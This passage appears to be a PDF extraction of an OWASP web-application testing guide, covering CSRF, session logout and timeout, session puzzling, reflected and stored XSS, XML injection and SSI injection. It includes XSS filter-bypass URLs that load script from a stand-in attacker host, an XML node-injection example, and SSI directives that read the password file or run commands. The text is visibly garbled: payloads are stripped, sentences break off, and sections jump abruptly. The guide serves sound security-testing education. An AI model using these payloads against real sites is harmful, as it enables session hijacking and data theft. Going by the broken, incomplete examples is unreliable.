management application, the request will succeed and will modify the configuration of the firewall. One can imagine attacks targeting sensitive applications and making automatic auction bids,
money transfers, orders, changing the configuration of critical
software components, etc.
An interesting thing is that these vulnerabilities may be exercised
behind a firewall; i.e., it is sufficient that the link being attacked
be reachable by the victim (not directly by the attacker). In particular, it can be any Intranet web server; for example, the firewall management station mentioned before, which is unlikely to
be exposed to the Internet. Imagine a CSRF attack targeting an
application monitoring a nuclear power plant. Sounds far fetched?
Probably, but it is a possibility.
Self-vulnerable applications, i.e., applications that are used both
as attack vector and target (such as web mail applications), make
things worse.
If such an application is vulnerable, the user is obviously logged
in when he reads a message containing a CSRF attack, that can
target the web mail application and have it perform actions such
as deleting messages, sending messages appearing as sent by the
user, etc.
How to Test
Black Box Testing
For a black box test the tester must know URLs in the restricted (authenticated) area. If they possess valid credentials, they
can assume both roles – the attacker and the victim. In this case,
testers know the URLs to be tested just by browsing around the
application.

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Otherwise, if testers don’t have valid credentials available, they
have to organize a real attack, and so induce a legitimate, logged
in user into following an appropriate link. This may involve a substantial level of social engineering.
Either way, a test case can be constructed as follows:
• let u the URL being tested; for example, u =
http://www.example.com/action
• build an html page containing the http request referencing URL
u (specifying all relevant parameters; in the case of http GET this
is straightforward, while to a POST request you need to resort to
some Javascript);
• make sure that the valid user is logged on the application;
• induce him into following the link pointing to the URL to be
tested (social engineering involved if you cannot impersonate
the user yourself);
• observe the result, i.e. check if the web server executed the
request.
Gray Box Testing
Audit the application to ascertain if its session management is
vulnerable. If session management relies only on client side values (information available to the browser), then the application is
vulnerable. “Client side values” mean cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP
authentication; not form-based authentication, which is an application-level authentication). For an application to not be vulnerable, it must include session-related information in the URL, in a
form of unidentifiable or unpredictable by the user ([3] uses the
term secret to refer to this piece of information).
Resources accessible via HTTP GET requests are easily vulnerable,
though POST requests can be automated via Javascript and are
vulnerable as well; therefore, the use of POST alone is not enough
to correct the occurrence of CSRF vulnerabilities.

Tools

• WebScarab Spider http://www.owasp.org/index.php/
Category:OWASP_WebScarab_Project
• CSRF Tester http://www.owasp.org/index.php/
Category:OWASP_CSRFTester_Project
• Cross Site Requester http://yehg.net/lab/pr0js/pentest/cross_
site_request_forgery.php (via img)
site_framing.php (via iframe)
References
Whitepapers
• Peter W: “Cross-Site Request Forgeries” http://www.tux.org/~peterw/csrf.txt
• Thomas Schreiber: “Session Riding” http://www.securenet.de/papers/Session_Riding.pdf
• Oldest known post - http://www.zope.org/Members/jim/
ZopeSecurity/ClientSideTrojan
• Cross-site Request Forgery FAQ http://www.cgisecurity.com/articles/csrf-faq.shtml
• A Most-Neglected Fact About Cross Site Request Forgery

Remediation
The following countermeasures are divided among recommendations to users and to developers.
Users
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating
actions are:
• Logoff immediately after using a web application
• Do not use the same browser to access sensitive applications
and to surf freely the Internet; if it is necessary to do both things
at the same machine, do them with separate browsers.
environments pose additional risks since simply viewing a mail
message or a news message might lead to the execution of an
attack.
Developers
Add session-related information to the URL. What makes the
attack possible is the fact that the session is uniquely identified
by the cookie, which is automatically sent by the browser. Having other session-specific information being generated at the URL
level makes it difficult to the attacker to know the structure of
URLs to attack.
Other countermeasures, while they do not resolve the issue, contribute to make it harder to exploit:
• Use POST instead of GET. While POST requests may be simulated
by means of JavaScript, they make it more complex to mount an
attack.
• The same is true with intermediate confirmation pages (such as:
“Are you sure you really want to do this?” type of pages).
They can be bypassed by an attacker, although they will make
their work a bit more complex. Therefore, do not rely solely on
these measures to protect your application.
• Automatic log out mechanisms somewhat mitigate the
exposure to these vulnerabilities, though it ultimately depends
on the context (a user who works all day long on a vulnerable
web banking application is obviously more at risk than a user
who uses the same application occasionally).
Related Security Activities
Description of CSRF Vulnerabilities
See the OWASP article on CSRF Vulnerabilities.
How to Avoid CSRF Vulnerabilities
See the OWASP Development Guide article on how to Avoid
CSRF Vulnerabilities.
How to Review Code for CSRF Vulnerabilities
See the OWASP Code Review Guide article on how to Review
Code for CSRF Vulnerabilities.
How to Prevent CSRF Vulnerabilites
See the OWASP CSRF Prevention Cheat Sheet for prevention
measures.

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Testing for logout functionality (OTG-SESS-006)

Summary
Session termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the
likelihood of a successful session hijacking attack. This can be seen as
a control against preventing other attacks like Cross Site Scripting and
Cross Site Request Forgery. Such attacks have been known to rely on
a user having an authenticated session present. Not having a secure
session termination only increases the attack surface for any of these
attacks.
A secure session termination requires at least the following components:
• Availability of user interface controls that allow the user to
manually log out.
• Session termination after a given amount of time without activity
(session timeout).
• Proper invalidation of server-side session state.
There are multiple issues which can prevent the effective termination
of a session. For the ideal secure web application, a user should be
able to terminate at any time through the user interface. Every page
should contain a log out button on a place where it is directly visible.
Unclear or ambiguous log out functions could cause the user not
trusting such functionality.
Another common mistake in session termination is that the client-side
session token is set to a new value while the server-side state remains
active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the
user without performing any further action. This should be avoided.
Users of web browsers often don’t mind that an application is still
open and just close the browser or a tab. A web application should be
aware of this behavior and terminate the session automatically on the
server-side after a defined amount of time.
The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence
of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not
terminate the session in the SSO system. Navigating back to the SSO
portal offers the user the possibility to log back in to the application
where the log out was performed just before. On the other side a log
out function in a SSO system does not necessarily cause session termination in connected applications.
How to Test
Testing for log out user interface:
Verify the appearance and visibility of the log out functionality in the
user interface. For this purpose, view each page from the perspective
of a user who has the intention to log out from the web application.
Result Expected:
There are some properties which indicate a good log out user interface:
• A log out button is present on all pages of the web application.
• The log out button should be identified quickly by a user who
wants to log out from the web application.

• After loading a page the log out button should be visible without
scrolling.
• Ideally the log out button is placed in an area of the page that is
fixed in the view port of the browser and not affected by scrolling of
the content.
Testing for server-side session termination:
First, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application,
especially regarding session cookies. Try to navigate to a page that is
only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the
reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old
value of the session cookies and reload a page from the authenticated
area of the application. If these test don’t show any vulnerabilities on a
particular page, try at least some further pages of the application that
are considered as security-critical, to ensure that session termination
is recognized properly by these areas of the application.
Result Expected:
No data that should be visible only by authenticated users should be
visible on the examined pages while performing the tests. Ideally the
application redirects to a public area or a log in form while accessing
authenticated areas after termination of the session. It should be not
necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice.
Testing for session timeout:
Try to determine a session timeout by performing requests to a page
in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value.
Result Expected:
The same results as for server-side session termination testing described before are excepted by a log out caused by an inactivity timeout.
The proper value for the session timeout depends on the purpose of
the application and should be a balance of security and usability. In a
banking applications it makes no sense to keep an inactive session
more than 15 minutes. On the other side a short timeout in a wiki or
forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can
be acceptable.
Testing for session termination in single sign-on environments (single sign-off):
Perform a log out in the tested application. Verify if there is a central
portal or application directory which allows the user to log back in to
the application without authentication.
Test if the application requests the user to authenticate, if the URL of
an entry point to the application is requested. While logged in in the
tested application, perform a log out in the SSO system. Then try to
access an authenticated area of the tested application.
Result Expected:
It is expected that the invocation of a log out function in a web
application connected to a SSO system or in the SSO system itself
causes global termination of all sessions. An authentication of the

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user should be required to gain access to the application after log
out in the SSO system and connected application.

Tools

• “Burp Suite - Repeater” - http://portswigger.net/burp/repeater.html
References
Whitepapers
• “The FormsAuthentication.SignOut method does not prevent cookie
reply attacks in ASP.NET applications” http://support.microsoft.com/default.aspx?scid=kb;en-us;900111
• “Cookie replay attacks in ASP.NET when using forms authentication”

Test Session Timeout (OTG-SESS-007)

Summary
In this phase testers check that the application automatically logs
out a user when that user has been idle for a certain amount of
time, ensuring that it is not possible to “reuse” the same session
and that no sensitive data remains stored in the browser cache.
All applications should implement an idle or inactivity timeout for
sessions. This timeout defines the amount of time a session will
remain active in case there is no activity by the user, closing and
invalidating the session upon the defined idle period since the last
HTTP request received by the web application for a given session
ID. The most appropriate timeout should be a balance between
security (shorter timeout) and usability (longer timeout) and heavily depends on the sensitivity level of the data handled by the application. For example, a 60 minute log out time for a public forum
can be acceptable, but such a long time would be too much in a
home banking application (where a maximum timeout of 15 minutes is recommended). In any case, any application that does not
enforce a timeout-based log out should be considered not secure,
unless such behavior is required by a specific functional requirement.
The idle timeout limits the chances that an attacker has to guess
and use a valid session ID from another user, and under certain
circumstances could protect public computers from session reuse.
However, if the attacker is able to hijack a given session, the idle
timeout does not limit the attacker’s actions, as he can generate
activity on the session periodically to keep the session active for
longer periods of time.
Session timeout management and expiration must be enforced
server-side. If some data under the control of the client is used
to enforce the session timeout, for example using cookie values
or other client parameters to track time references (e.g. number
to extend the session duration. So the application has to track the
inactivity time on the server side and, after the timeout is expired,
automatically invalidate the current user’s session and delete every data stored on the client.
Both actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to
gain unauthorized access if the user forgot to log out from the application. More specifically, as for the log out function, it is important to ensure that all session tokens (e.g. cookies) are properly de-

stroyed or made unusable, and that proper controls are enforced
at the server side to prevent the reuse of session tokens. If such
actions are not properly carried out, an attacker could replay these
session tokens in order to “resurrect” the session of a legitimate
user and impersonate him/her (this attack is usually known as
‘cookie replay’). Of course, a mitigating factor is that the attacker
needs to be able to access those tokens (which are stored on the
victim’s PC), but, in a variety of cases, this may not be impossible
or particularly difficult.
The most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., web
mail, online bank account). If the user moves away from the computer without explicitly logging out and the session timeout is not
implemented on the application, then an attacker could access
to the same account by simply pressing the “back” button of the
browser.
How to Test
Black Box testing
The same approach seen in the Testing for logout functionality
(OTG-SESS-006) section can be applied when measuring the timeout log out.
The testing methodology is very similar. First, testers have to
check whether a timeout exists, for instance, by logging in and
waiting for the timeout log out to be triggered. As in the log out
function, after the timeout has passed, all session tokens should
be destroyed or be unusable.
Then, if the timeout is configured, testers need to understand
whether the timeout is enforced by the client or by the server (or
both). If the session cookie is non-persistent (or, more in general,
the session cookie does not store any data about the time), testers can assume that the timeout is enforced by the server. If the
or last access time, or expiration date for a persistent cookie), then
it’s possible that the client is involved in the timeout enforcing. In
this case, testers could try to modify the cookie (if it’s not cryptographically protected) and see what happens to the session. For
instance, testers can set the cookie expiration date far in the future and see whether the session can be prolonged.
As a general rule, everything should be checked server-side and it
should not be possible, by re-setting the session cookies to previous values, to access the application again.
Gray Box Testing
The tester needs to check that:
• The log out function effectively destroys all session token, or at
least renders them unusable,
• The server performs proper checks on the session state,
disallowing an attacker to replay previously destroyed session
identifiers
• A timeout is enforced and it is properly enforced by the server.
If the server uses an expiration time that is read from a session
token that is sent by the client (but this is not advisable), then
the token must be cryptographically protected from tampering.
Note that the most important thing is for the application to invalidate the session on the server side. Generally this means that

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the code must invoke the appropriate methods, e.g. HttpSession.
invalidate() in Java and Session.abandon() in .NET.
strictly necessary, since if the session is properly invalidated on
the server, having the cookie in the browser will not help an attacker.
References
OWASP Resources
• Session Management Cheat Sheet

Testing for Session puzzling
(OTG-SESS-008)

Summary
an application level vulnerability which can enable an attacker to
perform a variety of malicious actions, including by not limited to:
• Bypass efficient authentication enforcement mechanisms, and
impersonate legitimate users.
• Elevate the privileges of a malicious user account, in an
environment that would otherwise be considered foolproof.
• Skip over qualifying phases in multi-phase processes, even if
the process includes all the commonly recommended code level
restrictions.
• Manipulate server-side values in indirect methods that cannot
be predicted or detected.
• Execute traditional attacks in locations that were previously
unreachable, or even considered secure.
This vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so
that the session variable is set in one context and then used in
another.
bypass authentication enforcement mechanisms of applications
that enforce authentication by validating the existence of session
variables that contain identity–related values, which are usually
stored in the session after a successful authentication process.
This means an attacker first accesses a location in the application
that sets session context and then accesses privileged locations
that examine this context.
For example - an authentication bypass attack vector could be executed by accessing a publicly accessible entry point (e.g. a password recovery page) that populates the session with an identical
session variable, based on fixed values or on user originating input.
How to Test
Black Box Testing
This vulnerability can be detected and exploited by enumerating
all of the session variables used by the application and in which
context they are valid. In particular this is possible by accessing a
sequence of entry points and then examining exit points. In case
of black box testing this procedure is difficult and requires some
luck since every different sequence could lead to a different result.
Examples
A very simple example could be the password reset functionality

that, in the entry point, could request the user to provide some
identifying information such as the username or the e-mail address. This page might then populate the session with these identifying values, which are received directly from the client side, or
obtained from queries or calculations based on the received input. At this point there may be some pages in the application that
show private data based on this session object. In this manner the
attacker could bypass the authentication process.
Gray Box testing
The most effective way to detect these vulnerabilities is via a
source code review.
References
Whitepapers
• Session Puzzles:
-%20Indirect%20Application%20Attack%20Vectors%20-%20
May%202011%20-%20Whitepaper.pdf
• Session Puzzling and Session Race Conditions:
Remediation
Session variables should only be used for a single consistent purpose.

Input Validation Testing

The most common web application security weakness is the failure to properly validate input coming from the client or from the
environment before using it. This weakness leads to almost all of
the major vulnerabilities in web applications, such as cross site
scripting, SQL injection, interpreter injection, locale/Unicode attacks, file system attacks, and buffer overflows.
Data from an external entity or client should never be trusted,
since it can be arbitrarily tampered with by an attacker. “All Input
is Evil”, says Michael Howard in his famous book “Writing Secure
Code”. That is rule number one. Unfortunately, complex applications often have a large number of entry points, which makes it
difficult for a developer to enforce this rule. This chapter describes
Data Validation testing. This is the task of testing all the possible
forms of input to understand if the application sufficiently validates input data before using it.

Testing for Reflected Cross site scripting
(OTG-INPVAL-001)

Summary
Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response.
The injected attack is not stored within the application itself; it is
non-persistent and only impacts users who open a maliciously
crafted link or third-party web page. The attack string is included
as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.
Reflected XSS are the most frequent type of XSS attacks found in
the wild. Reflected XSS attacks are also known as non-persistent
XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as
first-order or type 1 XSS.

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Web Application Penetration Testing

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests back to the client.
The common modus operandi of the attack includes a design step,
in which the attacker creates and tests an offending URI, a social
engineering step, in which she convinces her victims to load this
URI on their browsers, and the eventual execution of the offending
code using the victim’s browser.
Commonly the attacker’s code is written in the Javascript language, but other scripting languages are also used, e.g., ActionScript and VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard
One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server
or the web application could not be filtering some encodings of
characters, so, for example, the web application might filter out
“”, but might not filter %3cscript%3e which simply includes
another encoding of tags.
How to Test
Black Box testing
A black-box test will include at least three phases:
[1] Detect input vectors. For each web page, the tester must determine all the web application’s user-defined variables and how
to input them. This includes hidden or non-obvious inputs such
as HTTP parameters, POST data, hidden form field values, and
predefined radio or selection values. Typically in-browser HTML
editors or web proxies are used to view these hidden variables.
See the example below.

Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:
> (greater than)
< (less than)
& (ampersand)
‘ (apostrophe or single quote)
“ (double quote)
However, a full list of entities is defined by the HTML and XML
specifications. Wikipedia has a complete reference [1].
Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded,
replaced, or filtered out. These characters include:
\n (new line)
\r (carriage return)
\’ (apostrophe or single quote)
\” (double quote)
\\ (backslash)
\uXXXX (unicode values)
For a more complete reference, see the Mozilla JavaScript guide.
[2]
Example 1
For example, consider a site that has a welcome notice “ Welcome

[2] Analyze each input vector to detect potential vulnerabilities.
To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is
typically harmless, but trigger responses from the web browser
that manifests the vulnerability. Testing data can be generated by
using a web application fuzzer, an automated predefined list of
known attack strings, or manually.
Some example of such input data are the following:

The tester must suspect that every data entry point can result in
an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let’s try to click on the following link and see what happens:

For a comprehensive list of potential test strings, see the XSS Filter Evasion Cheat Sheet.
[3] For each test input attempted in the previous phase, the tester
will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application’s security.
This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special
characters that were not properly encoded, replaced, or filtered
out. The set of vulnerable unfiltered special characters will depend
on the context of that section of HTML.

script>
If no sanitization is applied this will result in the following popup:

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Web Application Penetration Testing

This indicates that there is an XSS vulnerability and it appears that
the tester can execute code of his choice in anybody’s browser if
he clicks on the tester’s link.
Example 2
Let’s try other piece of code (link):
http://example.com/index.php?user=<script>window.
getElementsByTagName(“a”);
script>
This produces the following behavior:

even without the use of characters such as “ < > and / that are
commonly filtered.
For example, the web application could use the user input value to
fill an attribute, as shown in the following code:
<input type=”text” name=”state” value=”INPUT_FROM_
USER”>
Then an attacker could submit the following code:
Example 4: Different syntax or encoding
In some cases it is possible that signature-based filters can be
simply defeated by obfuscating the attack. Typically you can do
this through the insertion of unexpected variations in the syntax
or in the enconding. These variations are tolerated by browsers as
valid HTML when the code is returned, and yet they could also be
accepted by the filter.
Following some examples:

This will cause the user, clicking on the link supplied by the tester,

Bypass XSS filters
Reflected cross-site scripting attacks are prevented as the web
application sanitizes input, a web application firewall blocks
malicious input, or by mechanisms embedded in modern web
browsers. The tester must test for vulnerabilities assuming that
web browsers will not prevent the attack. Browsers may be out
of date, or have built-in security features disabled. Similarly, web
application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.

Thus, the majority of XSS prevention must depend on the web
application’s sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as
returning an error, removing, encoding, or replacing invalid input.
The means by which the application detects and corrects invalid
input is another primary weakness in preventing XSS. A blacklist
may not include all possible attack strings, a whitelist may be
overly permissive, the sanitization could fail, or a type of input may
be incorrectly trusted and remain unsanitized. All of these allow
attackers to circumvent XSS filters.
The XSS Filter Evasion Cheat Sheet documents common filter
evasion tests.
Example 3: Tag Attribute Value
Since these filters are based on a blacklist, they could not block
every type of expressions. In fact, there are cases in which an XSS
exploit can be carried out without the use of  tags and

Example 5: Bypassing non-recursive filtering
Sometimes the sanitization is applied only once and it is not being
performed recursively. In this case the attacker can beat the filter
by sending a string containing multiple attempts, like this one:
Example 6: Including external script
Now suppose that developers of the target site implemented the
following code to protect the input from the inclusion of external
script:
]+src/i”;
if (preg_match($re,$_GET[‘var’]))
{
echo “Filtered”;
return;
}
echo “Welcome “.$_GET[‘var’].” !”; ?> In this scenario there is a regular expression checking if ’ ] src is inserted. This is useful for filtering expressions like <script src=”http://attacker/xss.js”> which is a common attack. But, in this case, it is possible to bypass the sanitization by using the “>” character in an attribute between script and src, like this: http://example/?var=”%20SRC=”http:// attacker/xss.js”> This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker’s web server as if it was originating from the victim web site, http://example/. Example 7: HTTP Parameter Pollution (HPP) Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the Testing for HTTP Parameter pollution for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern- based security mechanisms. Regular attack: http://example/page.php?param=[...] Attack using HPP: http://example/page.php?param=[...] Result expected See the XSS Filter Evasion Cheat Sheet for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors’ browsers. Gray Box testing Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented. Tools • OWASP CAL9000 CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It’s hosted as a reference at http://yehg.net/lab/ pr0js/pentest/CAL9000/ . • PHP Charset Encoder(PCE) http://h4k.in/encoding [mirror: http://yehg.net/e ] This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided. • HackVertor http://www.businessinfo.co.uk/labs/hackvertor/ hackvertor.php It provides multiple dozens of flexible encoding for advanced string manipulation attacks. • WebScarab - WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. • XSS-Proxy - http://xss-proxy.sourceforge.net/ XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool. • ratproxy - http://code.google.com/p/ratproxy/ A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and securityrelevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments. • Burp Proxy - http://portswigger.net/proxy/ Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications. • OWASP Zed Attack Proxy (ZAP) OWASP_Zed_Attack_Proxy_Project ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. • OWASP Xenotix XSS Exploit Framework OWASP_Xenotix_XSS_Exploit_Framework OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. It provides Zero False Positive scan results with its unique Triple Browser Engine (Trident, WebKit, and Gecko) embedded scanner. It is claimed to have the world’s 2nd largest XSS Payloads of about 1600+ distinctive XSS Payloads for effective XSS vulnerability detection and WAF Bypass. Xenotix Scripting Engine allows you to create custom test cases and addons over the Xenotix API. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation. 102 Web Application Penetration Testing References OWASP Resources • XSS Filter Evasion Cheat Sheet Books • Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07226229-0 • Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook - Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-470-17077-9 • Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3 Whitepapers • CERT - Malicious HTML Tags Embedded in Client Web Requests: Read • Rsnake - XSS Cheat Sheet: Read • cgisecurity.com - The Cross Site Scripting FAQ: Read • G.Ollmann - HTML Code Injection and Cross-site scripting: Read • A. Calvo, D.Tiscornia - alert(‘A javascritp agent’): Read ( To be published ) • S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web browser threat: Read Testing for Stored Cross site scripting (OTG-INPVAL-002) Summary Stored Cross-site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios. Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS. This vulnerability can be used to conduct a number of browser-based attacks including: • Hijacking another user’s browser • Capturing sensitive information viewed by application users • Pseudo defacement of the application • Port scanning of internal hosts (“internal” in relation to the users of the web application) • Directed delivery of browser-based exploits • Other malicious activities Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario: • Attacker stores malicious code into the vulnerable page • User authenticates in the application • User visits vulnerable page • Malicious code is executed by the user’s browser This type of attack can also be exploited with browser exploitation frameworks such as BeEF, XSS Proxy and Backframe. These frameworks allow for complex JavaScript exploit development. Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens. How to Test Black Box testing The process for identifying stored XSS vulnerabilities is similar to the process described during the testing for reflected XSS. Input Forms The first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in: • User/Profiles page: the application allows the user to edit/ change profile details such as first name, last name, nickname, avatar, picture, address, etc. • Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later • File Manager: application that allows upload of files • Application settings/preferences: application that allows the user to set preferences • Forum/Message board: application that permits exchange of posts among users • Blog: if the blog application permits to users submitting comments • Log: if the application stores some users input into logs. Analyze HTML code Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input. Note: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users. Example: Email stored data in index2.php 103 Web Application Penetration Testing The HTML code of index2.php where the email value is located: In this case, the tester needs to find a way to inject code outside the tag as below: MALICIOUS CODE - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter: Username = foo foo0s4tan@hell.com In this case, the final XML database is: gandalf !c3 0 gandalf@middleearth.com Stefan0 w1s3c 500 Stefan0@whysec.hmm tony Un6R34kb!e0s4tan@hell.com 137 Web Application Penetration Testing The original userid node has been commented out, leaving only the injected one. The document now complies with its DTD rules. web servers don’t allow the use of the exec directive to execute system commands. Tools As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives. • XML Injection Fuzz Strings (from wfuzz tool) https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/ XML.txt References Whitepapers • Alex Stamos: “Attacking Web Services” http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt • Gregory Steuck, “XXE (Xml eXternal Entity) attack”, http://www.securityfocus.com/archive/1/297714 Testing for SSI Injection (OTG-INPVAL-009) Summary Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the Server-Side Includes (SSI). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution. This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands. How to Test Black Box testing The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classic information gathering techniques. Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there’s only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands. Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains .shtml files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the shtml extension is not mandatory, so not having found any shtml files doesn’t necessarily mean that the target is not prone to SSI injection attacks. Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following: The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code. to print out the current time. to include the output of a CGI script. to include the content of a file or list files in a directory. to include the output of a system command. Then, if the web server’s SSI support is enabled, the server will parse these directives. In the default configuration, usually, most The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input, and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user-supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged. Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives: < ! # = / . “ - > and [a-zA-Z0-9] To test if validation is insufficient, we can input, for example, a string like the following in an input form: 138 Web Application Penetration Testing This is similar to testing for XSS vulnerabilities using alert(“XSS”) If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file. The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page: GET / HTTP/1.0 Referer: User-Agent: Gray Box testing If we have access to the application source code, we can quite easily find out: [1] If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate. [2] Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined. [3] How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account. Performing these steps is mostly a matter of using grep to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on). Tools • Web Proxy Burp Suite - http://portswigger.net • Paros - http://www.parosproxy.org/index.shtml • WebScarab • String searcher: grep - http://www.gnu.org/software/grep References Whitepapers • Apache Tutorial: “Introduction to Server Side Includes” - http://httpd.apache.org/docs/1.3/howto/ssi.html • Apache: “Module mod_include” - http://httpd.apache.org/ docs/1.3/mod/mod_include.html • Apache: “Security Tips for Server Configuration” - http://httpd. apache.org/docs/1.3/misc/security_tips.html#ssi • Header Based Exploitation - http://www.cgisecurity.net/papers/ header-based-exploitation.txt • SSI Injection instead of JavaScript Malware - http:// 